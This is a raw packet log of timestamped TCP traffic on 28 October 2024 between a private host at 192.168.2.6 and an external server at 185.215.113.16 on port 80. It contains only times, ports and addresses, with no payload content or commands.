Oct 28, 2024 15:28:19.914975882 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.914998055 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.915021896 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916270971 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916320086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916322947 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916332006 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916380882 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916389942 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916399956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916410923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916424036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916435957 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916455030 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916558981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916570902 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916583061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916601896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916604042 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916614056 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916625023 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916644096 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916646004 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916655064 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916661978 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916666985 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916668892 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916681051 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916691065 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916698933 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916702032 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916712046 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916717052 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916723013 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916734934 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916747093 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916762114 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916776896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916784048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916801929 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916801929 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.916814089 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916819096 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916826963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916832924 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916837931 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916843891 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916850090 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916856050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916862011 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916867018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916872978 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916877985 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916883945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.916975021 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917007923 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917010069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917021990 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917032003 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917037964 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917043924 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917053938 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917058945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917064905 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917076111 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917082071 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917084932 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917084932 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917088032 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917094946 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917104959 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917112112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917119980 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917120934 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917125940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917143106 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917165041 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917193890 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917212963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917222977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917228937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917233944 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917239904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917244911 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917244911 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917251110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917260885 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917272091 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917283058 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917300940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917311907 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917316914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917320013 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917321920 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917320967 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917320967 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917335987 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917345047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917356968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917366982 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917367935 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917373896 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917378902 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917391062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917402029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917412043 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917423964 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917423964 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917423964 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917433023 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917437077 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.917459965 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917485952 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.917814970 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918292046 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918302059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918334961 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.918484926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918495893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918508053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918518066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918523073 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.918529034 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918539047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918560028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918567896 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.918577909 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918590069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918595076 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.918600082 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918611050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918621063 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918632030 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918632984 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.918642044 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918653965 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918657064 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.918663979 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918674946 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918675900 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.918689013 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.918694973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.918715954 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.966634035 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:20.195879936 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:20.195988894 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:20.663748980 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:20.663892031 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.040129900 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.045698881 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.045833111 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.045845032 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.045866966 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.045983076 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.045994043 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046010017 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046016932 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046020031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046031952 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046041012 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046049118 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046055079 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046060085 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046082020 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046123981 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046144962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046164989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046170950 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046175957 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046181917 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046195984 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046212912 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046289921 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046303034 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046314001 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046320915 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046325922 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046331882 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046339035 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046339989 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046370029 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046432018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046442986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046453953 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046462059 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046468019 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046479940 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046575069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046586037 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046596050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046607018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046613932 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046617985 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046629906 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046648026 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046724081 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046735048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046755075 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046899080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046910048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046920061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046931028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046937943 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046941996 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046952963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046963930 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046966076 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.046974897 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046986103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.046998978 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047003031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047022104 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047025919 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047041893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047053099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047060966 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047063112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047072887 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047084093 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047085047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047096968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047110081 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047125101 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047137022 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047147989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047158003 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047179937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047195911 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047198057 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047208071 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047210932 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047220945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047231913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047241926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047254086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047264099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047271967 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047274113 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047280073 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047285080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047293901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047297001 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047321081 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047323942 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047332048 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047342062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047353029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047364950 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047369003 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047374964 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047385931 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047395945 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047399998 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047406912 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047411919 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047415972 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047416925 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047426939 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047429085 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047434092 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047442913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047447920 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047454119 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047465086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047467947 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047476053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047485113 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047487020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047497034 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047502041 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047511101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047528982 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047555923 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047612906 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047831059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047847033 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047858000 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047861099 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047868967 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047878981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047889948 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047894001 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047899961 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047910929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047919989 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047920942 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047930956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047939062 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047941923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047951937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047975063 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047982931 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.047991991 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.047991991 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048002958 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048007965 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048012972 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048023939 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048033953 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048037052 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048044920 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048053026 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048057079 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048067093 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048077106 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048082113 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048088074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048101902 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048116922 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048141956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048152924 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048162937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048173904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048178911 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048182964 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048194885 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048204899 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048224926 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048276901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048288107 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048297882 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048307896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048319101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048327923 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048329115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048340082 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048351049 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048353910 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048373938 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048391104 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048410892 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048423052 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048434019 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048444986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048455000 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048459053 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048465967 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.048490047 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048510075 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.048538923 CET	80	49764	185.215.113.16	192.168.2.6
